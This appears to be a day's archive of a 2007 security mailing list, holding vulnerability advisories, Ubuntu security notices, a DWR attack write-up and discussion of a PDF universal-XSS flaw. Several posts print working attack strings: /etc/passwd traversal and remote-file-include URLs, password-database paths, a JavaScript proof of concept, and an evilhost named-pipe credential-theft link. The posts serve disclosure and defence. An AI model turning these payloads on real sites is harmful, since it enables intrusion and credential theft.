Whos Johny Pwnerseed?

2007-01-03 Thread K F
You may still be scratching your head from yesterday... don't forget 
about today and tomorrow:


http://projects.info-pull.com/moab/MOAB-02-01-2007.html

-KF


Re: Windows Vista 64bits and unexported kernel symbols

2007-01-03 Thread Rik van Riel

Matthieu Suiche wrote:

Hello,

This article is talking about Windows Vista 64bits and its system 
structures

which are proteged against rootkit. I also explain how these structures can
be authentified without Pathguard.

http://www.msuiche.net/papers/Windows_Vista_64bits_and_unexported_kernel_symbols.pdf 


If you really wanted to protect a kernel from root kits, you could
use virtualization for that.  Simply mark part of the guest memory
as read only, and only allow the guest to map that memory read-only.

Conversely, the guest needs to only be allowed to map that memory
(and no other memory) at the addresses that memory is supposed to
be mapped, so it cannot eg. create duplicate syscall table, modify
that and map it where the original used to be mapped in virtual
memory.

This kind of scheme can work because an exploit would not have the
permission to modify the memory in question, and the hypervisor itself
does not run any of the applications that could exploit it.

Of course, with such a scheme the anti-virus vendors would be totally
locked out.

--
Politics is the struggle between those who want to make their country
the best in the world, and those who believe it already is.  Each group
calls the other unpatriotic.


GuestBook v0.3a Remote Password Disclosure

2007-01-03 Thread Advisory
#
#   ARIA-SECURITY TEAM#
#   Forum: http://aria-security.com   #
#   Discovered by:Aria-Security Team   #
#
#Type:Remote Password Disclosure 
#Download: 
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=4txtCodeId=6847
#PoC:
#target/path/~db/gbook.mdb
#target/path/~db/gbook97.mdb
#
#Contact:
[EMAIL PROTECTED]
#
#[http://aria-security.com/forum/showthread.php?p=114]





Re: Windows NT Message Compiler 1.00.5239 arbitrary code execution

2007-01-03 Thread 3APA3A
Dear [EMAIL PROTECTED] and all,

 In  order  to call some bug critical security vulnerability, you must
 show critical security impact from this vulnerability.

 For   local   vulnerability   security   impact  is  usually  privilege
 escalation.  That  is, local unprivileged user should be able to obtain
 privileges of another user or system account by exploiting this bug.

 Under  Unix,  local  vulnerabilities are usually because of the bugs in
 some  suid application. Under Windows there is no suid applications. To
 escalate  privileges  you  must  exploit  vulnerability  in some system
 component  or  service.  mc.exe  is  not  service  and  is  not  system
 component.

 I  can't  say  there  is no security impact from this bug at all. As an
 example,  you can execute malware code in context of signed application
 and  bypass  some  policy.  But  it's definitely not critical security
 vulnerability.

 Sorry for this short lecture.


--Tuesday, January 2, 2007, 10:06:30 PM, you wrote to bugtraq@securityfocus.com:

shp Synopsis: Windows NT Message Compiler 1.00.5239 arbitrary code execution
shp Product:   Microsoft Windows XP



shp Issue:
shp ==

shp A critical security vulnerability has been found in Windows NT Message 
Compiler.
shp Arbitrary code execution might be possible (local exploitation possible 
only).


shp Details:
shp 
shp MC (Windows NT Message Compiler) when provided a MC-filename longer than
shp requested crashed due to memory corruption. Memory corruption conditions
shp might allow the attacker to escalate privilleges.

shp When overwriting the buffer with A (0x41):

shp Unhandled exception at 0x01003468 in MC.EXE: 0xC005:
shp Access violation reading location 0x41414141.
shp First-chance exception at 0x01003468 in MC.EXE: 0xC005:
shp Access violation reading location 0x41414141.


shp Affected Versions
shp =
shp Microsoft (R) Message Compiler Version 1.00.5239


shp Solution
shp =

shp Proper bounds-checking.


shp Kind regards,

shp Michal Bucko (sapheal)
shp hack.pl







-- 
~/ZARAZA
http://www.security.nnov.ru/



openmedia local read file

2007-01-03 Thread exe_crack
openmadia exploit local read file
==
search google  powered by openmedia
==
Exploit : 
http://www.site.com/page.php?src=../../../../../etc/passwd

http://www.site.com/search_form.php?lang=frformat=../../../../../etc/passwd

Discoverd By :Crack_man
contact : exe_crack_man
=
team : maroc anti connexion

www.b0rizq.biz/vb
www.tryag.com/vb
=
Greetz to : 
b0rizq , red_Casper , broken_proxy

and all friend



Re: [USN-398-1] Firefox vulnerabilities

2007-01-03 Thread Scott

Kees Cook spake thusly on 01/02/2007 07:41 PM:
=== 
Ubuntu Security Notice USN-398-1   January 02, 2007

firefox vulnerabilities
CVE-2006-6497, CVE-2006-6498, CVE-2006-6499, CVE-2006-6501,
CVE-2006-6502, CVE-2006-6503, CVE-2006-6504, CVE-2006-6506,
CVE-2006-6507
===

A security issue affects the following Ubuntu releases:

Ubuntu 6.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.10:
  firefox  2.0.0.1+0dfsg-0ubuntu0.6.10
  firefox-dev  2.0.0.1+0dfsg-0ubuntu0.6.10
  libnspr-dev  2.0.0.1+0dfsg-0ubuntu0.6.10
  libnspr4 2.0.0.1+0dfsg-0ubuntu0.6.10
  libnss-dev   2.0.0.1+0dfsg-0ubuntu0.6.10
  libnss3  2.0.0.1+0dfsg-0ubuntu0.6.10

After a standard system upgrade you need to restart Firefox to effect 
the necessary changes.


Details follow:

Various flaws have been reported that allow an attacker to execute
arbitrary code with user privileges by tricking the user into opening
a malicious web page containing JavaScript or SVG.  (CVE-2006-6497, 
CVE-2006-6498, CVE-2006-6499, CVE-2006-6501, CVE-2006-6502, 
CVE-2006-6504)


Various flaws have been reported that allow an attacker to bypass 
Firefox's internal XSS protections by tricking the user into opening a 
malicious web page containing JavaScript.  (CVE-2006-6503, 
CVE-2006-6507)


Jared Breland discovered that the Feed Preview feature could leak 
referrer information to remote servers.  (CVE-2006-6506)



We're getting better.  This one only took 9 days...

http://www.mozilla.com/en-US/firefox/2.0.0.1/releasenotes/

--


--
Scott
http://angrykeyboarder.com
© 2007 angrykeyboarder™  Elmer Fudd. All Wights Wesewved


Universal XSS with PDF files: highly dangerous

2007-01-03 Thread pdp (architect)

I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

   http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here

You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.

There is a POC I composed:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);

More on the matter can be found here:

http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread Amit Klein

pdp (architect) wrote:

I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

   
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here 



You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.


Amazing, and kudos to Sven Vetsch who found this.

Note that from attack categorization perspective, it appears to be a 
twisted example of DOM based XSS 
(http://www.webappsec.org/projects/articles/071105.shtml). I suppose PDF 
retrieves the URL from the browser (probably from a degenerate DOM the 
browser provides it - after all, the document object is available to the 
payload JS code!), parses it and uses the fragment. Since fragments are 
used, the payload doesn't travel to the target web server (!). I 
mentioned the possible use of fragments as a particularly nasty attack 
vector (impossible to detect on server) in the DOM based XSS writeup.


-Amit


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread sven . vetsch
Quoting pdp (architect) [EMAIL PROTECTED]:

 This finding was originally mentioned by Sven Vetsch, on his blog.
 This is a very good and quite interesting. Good work.

Sorry about that but that's wrong. All the credits have to go to Stefano Di
Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The
only thing that I did was an overview and I found out, that it doesn't matter
how the parameter is called. I just forgot to copy paste the credits from my
original document, to the blog entry. I'm very sorry about that and of course I
putted it in my entry now.

Regards,
Disenchant / Sven Vetsch




[USN-399-1] w3m vulnerabilities

2007-01-03 Thread Kees Cook
=== 
Ubuntu Security Notice USN-399-1   January 03, 2007
w3m vulnerabilities
http://sf.net/tracker/?func=detailaid=1612792group_id=39518atid=425439
===

A security issue affects the following Ubuntu releases:

Ubuntu 5.10
Ubuntu 6.06 LTS
Ubuntu 6.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 5.10:
  w3m  0.5.1-3ubuntu1.1

Ubuntu 6.06 LTS:
  w3m  0.5.1-4ubuntu2.6.06

Ubuntu 6.10:
  w3m  0.5.1-4ubuntu2.6.10

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

A format string vulnerability was discovered in w3m.  If a user were 
tricked into visiting an HTTPS URL protected by a specially crafted SSL 
certificate, an attacker could execute arbitrary code with user 
privileges.


Updated packages for Ubuntu 5.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-3ubuntu1.1.diff.gz
  Size/MD5:26918 6c80b8da1759df35d0fbbbfd762be482
http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-3ubuntu1.1.dsc
  Size/MD5:  714 d5fab4328a132271d45443b0c62c9c5f
http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1.orig.tar.gz
  Size/MD5:  1892121 0678b72e07e69c41709d71ef0fe5da13

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-3ubuntu1.1_amd64.deb
  Size/MD5:90086 e9be4901190f36350b7c3906e8d5c7c0

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-3ubuntu1.1_amd64.deb
  Size/MD5:  1119434 544af8fe74b78b80b85b0618934e993f

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-3ubuntu1.1_i386.deb
  Size/MD5:88984 b39f657ec9c7fc9f0b66eccf6548ecfd

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-3ubuntu1.1_i386.deb
  Size/MD5:  1062408 4681dd0f0799ac9418ae11f17c39efb6

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-3ubuntu1.1_powerpc.deb
  Size/MD5:91540 47fbc7739850d784fea04b739763a79b

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-3ubuntu1.1_powerpc.deb
  Size/MD5:  1120800 43549c92dd35b1b1945fefed4c10caad

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-3ubuntu1.1_sparc.deb
  Size/MD5:89256 e9975d718fb34e212ab9471a19b293b8

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-3ubuntu1.1_sparc.deb
  Size/MD5:  1087110 ac0ece82654dc503f9aff5c961d766ae

Updated packages for Ubuntu 6.06 LTS:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-4ubuntu2.6.06.diff.gz
  Size/MD5:35266 4eb07f00d81679ccf53f5c50c3cf5403

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-4ubuntu2.6.06.dsc
  Size/MD5:  702 ced346058b3f71ecec26652b9aa919d7
http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1.orig.tar.gz
  Size/MD5:  1892121 0678b72e07e69c41709d71ef0fe5da13

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-4ubuntu2.6.06_amd64.deb
  Size/MD5:88458 ac45f4fade3fa7f60643b18553ccfb32

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-4ubuntu2.6.06_amd64.deb
  Size/MD5:  1119712 d48a1acda4b04bd2b8870d7328d471af

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-4ubuntu2.6.06_i386.deb
  Size/MD5:87464 790cddd717ef3d53576cd44325bbe74c

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-4ubuntu2.6.06_i386.deb
  Size/MD5:  1061434 1309934c6ce36eddc7d1fe10c8a397d7

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-4ubuntu2.6.06_powerpc.deb
  Size/MD5:89786 7a5076bb3784d7c3ee23a83a799c006e

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-4ubuntu2.6.06_powerpc.deb
  Size/MD5:  1120114 a3464f27e707e26c6282a0913e485330

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/universe/w/w3m/w3m-img_0.5.1-4ubuntu2.6.06_sparc.deb
  Size/MD5:87854 18bcf4fe486d5d5223c6cff38fc2badd

http://security.ubuntu.com/ubuntu/pool/main/w/w3m/w3m_0.5.1-4ubuntu2.6.06_sparc.deb
  Size/MD5:  1084034 f76db440d2206b0f6cccda184bbc1380

Updated packages for Ubuntu 6.10:

  Source archives:



Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread pdp (architect)

no worries, the vulnerability details presented on my blog post were
updated. good work.

On 1/3/07, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote:

Quoting pdp (architect) [EMAIL PROTECTED]:

 This finding was originally mentioned by Sven Vetsch, on his blog.
 This is a very good and quite interesting. Good work.

Sorry about that but that's wrong. All the credits have to go to Stefano Di
Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The
only thing that I did was an overview and I found out, that it doesn't matter
how the parameter is called. I just forgot to copy paste the credits from my
original document, to the blog entry. I'm very sorry about that and of course I
putted it in my entry now.

Regards,
Disenchant / Sven Vetsch






--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org


Hacking AJAX DWR Applications

2007-01-03 Thread shulman
By Guy Karlebach  Amichai Shulman

Introduction
*

The introduction of AJAX into a web application improves the user experience 
significantly.  However, the complexity of some AJAX frameworks and the limited 
field experience with them requires a careful examination of potential 
vulnerabilities.
DWR is a Java open source library, which has already been incorporated into 
several web sites.  It is composed of two main parts:
•   A Java servlet that runs on the server.  This servlet processes 
requests that arrive from clients and sends back responses.  
•   Javascript code that is executed on the browser, and sends requests to 
the servlet.
The Javascript code for method invocation is generated by the DWR framework.  
The web application designer only needs to embed the returned values in his web 
pages.
At the time this document is written the DWR stable release is 1.1.3.  Version 
2.0 is under development.  The two versions differ by several features, though 
both share the vulnerability that we discuss in the next section. 



Forceful Method Invocation Attacks
*

DWR 1.1.3 provides a configuration option that forbids the invocation of class 
methods.  This exclusion can be applied to some or all of a class’s methods, 
and it is configured in the dwr.xml file.  DWR 2.0 adds an additional 
configuration option that includes JAVA code annotations.  However, both 
methods enforce their restrictions only on the client side. Therefore, by 
manipulating HTTP requests through a proxy, excluded methods can be invoked. 
This also applies to public methods that are inherited from super classes.
As a consequence of the above vulnerability restricted operations may be 
unintentionally exposed to web users.
2.1 Example:  The TestClass class methods
The following test was repeated in DWR releases 1.1.3 and 2.0, and with all of 
the possible method exclusion mechanisms for each release.
We created a class named TestClass with two methods:  forbiddenTestMethod and 
allowedTestMethod.  Both methods were defined as public (private and protected 
methods are not vulnerable to invocation by the client).  forbiddenTestMethod 
was excluded using the exclusion mechanism.  The result of this exclusion was 
that DWR did not provide the browser with Javascript code that generates 
requests for forbiddenTestMethod.  At this point, we used the browser to 
generate the following legitimate request (this example is taken from the 2.0 
release test):

callCount=1
httpSessionId=6F7C818937E118A82F4B8A3518951A3B
scriptSessionId=04CE97DFB0B87AA4E8D3FEF92FA5898E
page=/dwr/test/TestClass
c0-scriptName=TestClass
c0-methodName=allowedTestMethod
c0-id=2925_1165312875568

We then changed the parameter methodName to forbiddenTestMethod, and sent the 
request to the server.  We received a HTTP 200 OK response with the output of 
forbiddenTestMethod.



Denial of Service Attacks
*

There are several ways to send very costly requests to a web application that 
uses DWR.  We present here several ways by which a malicious user can 
manipulate DWR requests and create denial of service attack vectors. 

Example:  The Date class
The Java clone method is implemented as a public method by several native 
library classes, for example java.lang.Date.  If a class that implements clone 
is available for client side calls, a batch call that executes clone calls can 
be sent to the server.  This will have a steep performance cost, due to the 
memory space that the cloned objects occupy.  We tested the following attack 
vector (Embedded in a HTTP request body) on the DWR stable release running on 
JBoss, and witnessed a sharp rise in CPU usage:

callCount=10
c0-scriptName=JDate
c0-methodName=clone
c1-scriptName=JDate
c1-methodName=clone
c2-scriptName=JDate
c2-methodName=clone
.
.
.
C9-scriptName=JDate
C9-methodName=clone

Furthermore, in the DWR stable release, the following short attack vector 
causes the servlet to throw an OutOfMemoryError exception:

callCount=100
c0-scriptName=JDate
c0-methodName=clone

In the latter case, only one Date object is created, but the server attempts 
100 clone calls, which exhaust the VM’s memory resources.  Limiting the 
number of calls in a batch is therefore essential for preventing denial of 
service attacks of this sort.



Mitigation
*

We suggest several options for mitigation, all of which require writing Java 
code:
•   Don’t expose classes that have methods which should not be invoked by 
the client.  This approach should be applied during the application’s 
development.
•   Instead of exposing class A and all of 

Adobe Acrobat Reader Plugin - Multiple Vulnerabilities

2007-01-03 Thread Stefano Di Paola
Adobe Acrobat Reader Plugin - Multiple Vulnerabilities

Original Advisory: 
http://www.wisec.it/vulns.php?page=9

Original Discovery and Research:
Stefano Di Paola

Contribution:
Giorgio Fedon (IE Dos, UXSS Analysis)
Elia Florio (Poc and Code Execution analysis)

Status: Vendor Informed on 15 October 2006
Patched: Yes

Please upgrade your current version of adobe acrobat

___

Brief Intro:

During our lecture at 23C3 (Subverting Ajax), we presented
some interesting attack vectors to take advantage of 
the dangerous vulnerability called Prototype Hijacking
in browser frameworks. Any XSS represents a good
entry point, and single Universal XSS is de facto the best 
entry point. 

Since Adobe did a great job and patched in less than 1
month the issues herein reported, we decided to
undisclose our findings during 23C3 to make the audience
better understand risks and impacts of high-level plugins
vulnerabilities (e.g. Func. Integration and not memory
corruption).

There is also a possible remote code execution (RCE), but
was not the focus of our talk.
Affected Versions:
Adobe Acrobat Reader plugin 7 (fully patched) and Below

Tested On:
Firefox 1.5.0.7 and Below, 2.0RC2 under Windows XP SP2
Firefox 1.5.0.7 and Below, 2.0RC2 under Ubuntu 6.06
Internet Explorer SP2 under Windows XP SP2

Summary:

Adobe Acrobat plugin for Mozilla Firefox (acroreader) is able to
populate Portable Documents 
(PDF files) forms by supplying an external set of datas through the FDF,
XML, or XFDF fields.
Implementation of FDF, XML, XFDF 
(http://partners.adobe.com/public/developer/en/acrobat/PDFOpenParameters.pdf) 
functionalities in Acrobat Reader Plugin is vulnerable to different kind
of attacks.
Vulnerability extent changes from browser to browser:

1. Universal CSRF / session riding;
(Mozilla Firefox, Internet Explorer, Opera + Acrobat Reader plugin)

2. UXSS in #FDF, #XML e #XFDF;
(Mozilla Firefox + Acrobat Reader plugin)

3. Possible Remote Code Execution;
(Mozilla Firefox + Acrobat Reader plugin)

4. Denial of Service;
(Internet Explorer + Acrobat Reader plugin)

__


1. Universal CSRF and session riding


This is probably Adobe related as all tested browsers (IE,Firefox,Opera)
where affected.
The issue is that by creating a special link like this:

http://site.com/file.pdf#FDF=http://victim.com/index.html?param=...

automatically Adobe plugin sends a request to 'victim.com' without user
interaction asking 
for defined page in 'fdf' parameter. This could be used as a Universal
Session Riding (aka UCSRF)
attack which is a well known vulnerability. 
Note that the same effect is accomplished by using 'xml' and 'xfdf'
parameters.


=

2. UXSS in #FDF, #XML e #XFDF

In addition by using the following request, is possible to execute
javascript code 
inside Firefox browser:

http://site.com/file.pdf#FDF=javascript:alert('Test Alert')

The previous could be triggered against a site and because of this is a
Universal Cross Site 
Scripting. 
UXSS is a particular type of Cross Site Scripting and has the ability to
be triggered 
by exploiting flaws inside browsers, instead of leveraging the
vulnerabilities against 
insecure web sites. It's also possible to force clients to download
files by supplying:

http://site.com/file.pdf#FDF=javascript:document.location=
'file://C:/winnt/notepad.exe'

Alternative_Attack

Alternative Attack using NamedPipes
- http://www.514.es/2006/10/exploiting_win32_design_flaws.html

In order to steal Domain credentials with explorer :

http://anyhost/file.pdf#fdf=res://\\evilhost\pipe\apipe

and then by applying techniques found in 514.es paper we found
this kind of url and protocol (res://) could be used too.

This means that also Internet Explorer could be abused in conjunction
of
Adobe plugin to make attacks on internal LANs and get victims
credentials.

/Alternative_Attack
 

3. Possible Remote Code Execution
There is also a possible Remote code Execution by leveraging a memory
corruption inside 
Firefox by supplying the following request:

http://site.com/file.pdf#FDF=javascript:document.write('j...');

It's possible to cause a DoubleFree() error and to overwrite part of the
Structural 
Exception Handler.

Runtime vulnerability analisys
The problem seems to be caused by a Double MSVCRT.free() executed by
Acrobat plugin. 
The routine which cause Firefox to crash is located in the following
call to NP_Shutdown().

Elia Florio is credited for Runtime analysis and exploitation.

NB. The POC of this vulnerability won't be released.

=

4. Denial of Service (Internet Explorer only);

By supplying the following request via the web browser, 
it's possible to cause a denial of service in Internet Explorer:

http://site.com/file.pdf#...(More '#')

The application is waiting for more inputs and allocates more memory.




-- 

Re: Universal XSS with PDF files: highly dangerous

2007-01-03 Thread ascii
[EMAIL PROTECTED] wrote:
 Sorry about that but that's wrong. All the credits have to go to
 Stefano Di Paola and Giorgio Fedon. They presented that stuff at the
 23C3 in Berlin.

the original paper is located here

http://events.ccc.de/congress/2006/Fahrplan/events/1602.en.html

probably Stefano and Giorgio will post something on their site
http://www.wisec.it/ (!hey i'm waiting too stefano : D)

the technique exposed is really really neat but was only one of that
has been presented at ccc in that talk (UXSS was used as an attack
vector to inject JS to wrap/tamper xmlhttprequest and if the users
had a proxy on his side http response splitting was used in conjunction
to some keepalive bugs to tilt the browser cache to cause cross domain
scripting, all this was autoinjecting)

yeah it needs some conditions (a proxy with keepalive) but this is a
bomb itself : )

from the pdf: Ajax Security, Universal Cross Site Scripting, Code
Injection, Cache Poisoning, Prototype Hijacking, Auto Injecting Cross
Domain Scripting

anyway i expect to see something like an advisory/paper posted somewhere
soon from the wisec staff because it's obvious that the ccc pdf isn't
enough to metabolize all that stuff

regards,
Francesco 'ascii' Ongaro
http://www.ush.it/

ps: flash 8 is fixed : )


WineGlass data.mdb Remote Password Disclosure

2007-01-03 Thread Advisory
#
#   ARIA-SECURITY TEAM#
#   Forum: http://aria-security.com   #
#   Discovered by:Aria-Security Team   #
#
#Type:Remote Password Disclosure 
#Vendor:http://www.fermentigrafici.it/wineglass/
#PoC:
#http://target/db/data.mdb
#Contact:
[EMAIL PROTECTED]
#
#[http://aria-security.com/forum/showthread.php?p=112]





OpenPinboard = Remote File Include

2007-01-03 Thread zooz_998
#==
# OpenPinboard = Remote File Include   
   
#==
 
#   
# Scripts: OpenPinboard
#   
# Download 
:http://osdn.dl.sourceforge.net/sourceforge/openpinboard/openpinboard_2.0.tar.gz
# 
# Version : 2.0
==
  
#)Bug in :( index.php
#   
#code : ;(require_once ($language   

#==
#Exploit :  

#   

#
#http://www.site.com/[script_path]/index.php?language=http://sh3LL? 

#   
#==
#Discoverd By : ZooZ
#   

#Conatact : zooz_998[at]hotmail.com 

#   

#   
#   

#Greetz to :

#abu_shahad | R00T-shilL | v1per-haCker | alkasergolden | MR-WOLF | abu nawaf | 
Muhajer22 |cRiMiNaL NeT 
# cold zero | Barod | bEn_slimAN | 
#   

#   

#And All Members In tryag and 4azhar

#   
#   
#==




Black Hat New Years Updates (Free Stuff, too!)

2007-01-03 Thread Jeff Moss
Hello BugTraq readers,

Here are some announcements from Black Hat to keep you busy in the new year!

- The Call for Papers and conference registration is now open for the Black Hat 
DC Training and Briefings.
- The Call for Papers and conference registration for Black Hat Europe in open.
- Registration for the summer Black Hat USA conference is now open!
- Presentations from Black Hat Japan are now on-line.
- Presentations including audio and video from Black Hat USA is now on-line.

UPCOMING CONFERENCES:
Black Hat DC 2007 Briefings  Training will be February 26 to March 1, held at 
the Sheraton Crystal City hotel in Arlington Virginia.

Register early to take advantage of our early bird rate and save when you 
register for the Briefings before January 1st.
Papers and requests to speak will be received and reviewed from October 1, 2006 
until January 5, 2007. We strongly suggest that you submit earlier than later, 
since we will close the CFP early if we receive enough quality submissions to 
fill the slots. Please submit using the new on-line system at:
https://cfp.blackhat.com/ 

If you want to submit to the Call for Papers please note Black Hat does not 
accept product or vendor related pitches, or voodoo. If your talk is a veiled 
advertisement for a new product or service your company is offering, please do 
not submit. If your talk relies on voodoo techniques or tools you are not 
willing to share, then you should rethink the benefit the audience will get 
from sitting through your presentation.

Black Hat is launching its new electronic CFP submissions server with this 
announcement. You will be able to upload your submissions, make changes, select 
your co-presenters, etc. This system will allow you to submit multiple 
presentations as well as be able to change your info should you need to. This 
new submission and review process will enable the future possibility of peer 
review and on-line information exchange. For now we are looking forward to 
seeing your submissions and would like to hear any feedback you have on this 
new submission process.

Topic Focus for Black Hat DC 2007:
We would like presenters to think about offensive and defensive computer 
security operations and the application of your expertise and research. Think 
about its application in an operational process that can be defensive or 
offense, large enterprise or distributed organized criminal group, military or 
civilian. This is not a requirement to submit, but we want some differentiation 
for the DC conference. Thinking in terms of operational applicability will 
steer content in a direction we hope the DC audience will appreciate. 

Dates to Remember for Black Hat DC:
Call for Papers closes: January 5, 2007. -- Extended to the 5th.
Early Bird registration rate ends December 31.
Regular registration rate ends February 18th.
More information regarding speaker requirements and our guidelines for this 
years submissions available at http://www.blackhat.com/

Black Hat Europe 2007 Briefings  Training will be March 27 to March 30, held 
at the Hotel Movenpick in Amsterdam.
Dates to Remember for Black Hat Europe:
Call for Papers will open November 1, 2006 and close February 1st, 2007.
Registration will open November 1, 2006 and the Early Bird rate ends January 
12, 2007.
On-line registration closes March 18, 2007.

Black Hat USA 2007 Briefings  Training will be July 28 to August 2, held at 
Caesars Palace in Las Vegas, Nevada, USA
On-line Registration for Briefings now open. Training registration will open 
February 15.
Call for Papers will open February 15.
Hotel Reservations now open.

Black Hat Japan 2007 Briefings  Training will be October 23-26, Tokyo, Japan
On-line Registration will open July 1.
Call for Papers will open May 1.

FREE STUFF:
Black Hat Japan 2006 Presentations are now available on-line!
http://www.blackhat.com/html/bh-media-archives/bh-archives-2006.html#AS_2006
Presentation topics available include: Anti-Forensic Root kits, The Art and 
Science of Writing Secure Code, Hacking Intranet web sites from the Outside, 
Breaking AJAX Web Applications, Subverting Vista Kernel and more! Audio of the 
sessions will be encoded and added on-line in the next month as well.
http://www.blackhat.com/html/bh-japan-06/bh-jp-06-en-speakers.html

We also have the presentation material from USA 2006 show on-line, and we 
anticipate we will have audio and video of the presentations available for 
download within the next month. To view the entire media archives:
http://www.blackhat.com/html/bh-multimedia-archives-index.html

Black Hat USA Briefings audio and video are now available to download in an 
iPod friendly format:
http://www.blackhat.com/podcast/bh-usa-06-audio.rss
http://www.blackhat.com/podcast/bh-usa-06-video.rss

The General Black Hat RSS feed:
http://www.blackhat.com/BlackHatRSS.xml

Thank you,
Jeff Moss



[USN-398-1] Firefox vulnerabilities

2007-01-03 Thread Kees Cook
=== 
Ubuntu Security Notice USN-398-1   January 02, 2007
firefox vulnerabilities
CVE-2006-6497, CVE-2006-6498, CVE-2006-6499, CVE-2006-6501,
CVE-2006-6502, CVE-2006-6503, CVE-2006-6504, CVE-2006-6506,
CVE-2006-6507
===

A security issue affects the following Ubuntu releases:

Ubuntu 6.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.10:
  firefox  2.0.0.1+0dfsg-0ubuntu0.6.10
  firefox-dev  2.0.0.1+0dfsg-0ubuntu0.6.10
  libnspr-dev  2.0.0.1+0dfsg-0ubuntu0.6.10
  libnspr4 2.0.0.1+0dfsg-0ubuntu0.6.10
  libnss-dev   2.0.0.1+0dfsg-0ubuntu0.6.10
  libnss3  2.0.0.1+0dfsg-0ubuntu0.6.10

After a standard system upgrade you need to restart Firefox to effect 
the necessary changes.

Details follow:

Various flaws have been reported that allow an attacker to execute
arbitrary code with user privileges by tricking the user into opening
a malicious web page containing JavaScript or SVG.  (CVE-2006-6497, 
CVE-2006-6498, CVE-2006-6499, CVE-2006-6501, CVE-2006-6502, 
CVE-2006-6504)

Various flaws have been reported that allow an attacker to bypass 
Firefox's internal XSS protections by tricking the user into opening a 
malicious web page containing JavaScript.  (CVE-2006-6503, 
CVE-2006-6507)

Jared Breland discovered that the Feed Preview feature could leak 
referrer information to remote servers.  (CVE-2006-6506)


Updated packages for Ubuntu 6.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_2.0.0.1+0dfsg-0ubuntu0.6.10.diff.gz
  Size/MD5:   322554 79c04227229a107f0c9d45049605bd48

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_2.0.0.1+0dfsg-0ubuntu0.6.10.dsc
  Size/MD5: 1218 6ce84b9960bdbb97c9ec6c3705653eae

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_2.0.0.1+0dfsg.orig.tar.gz
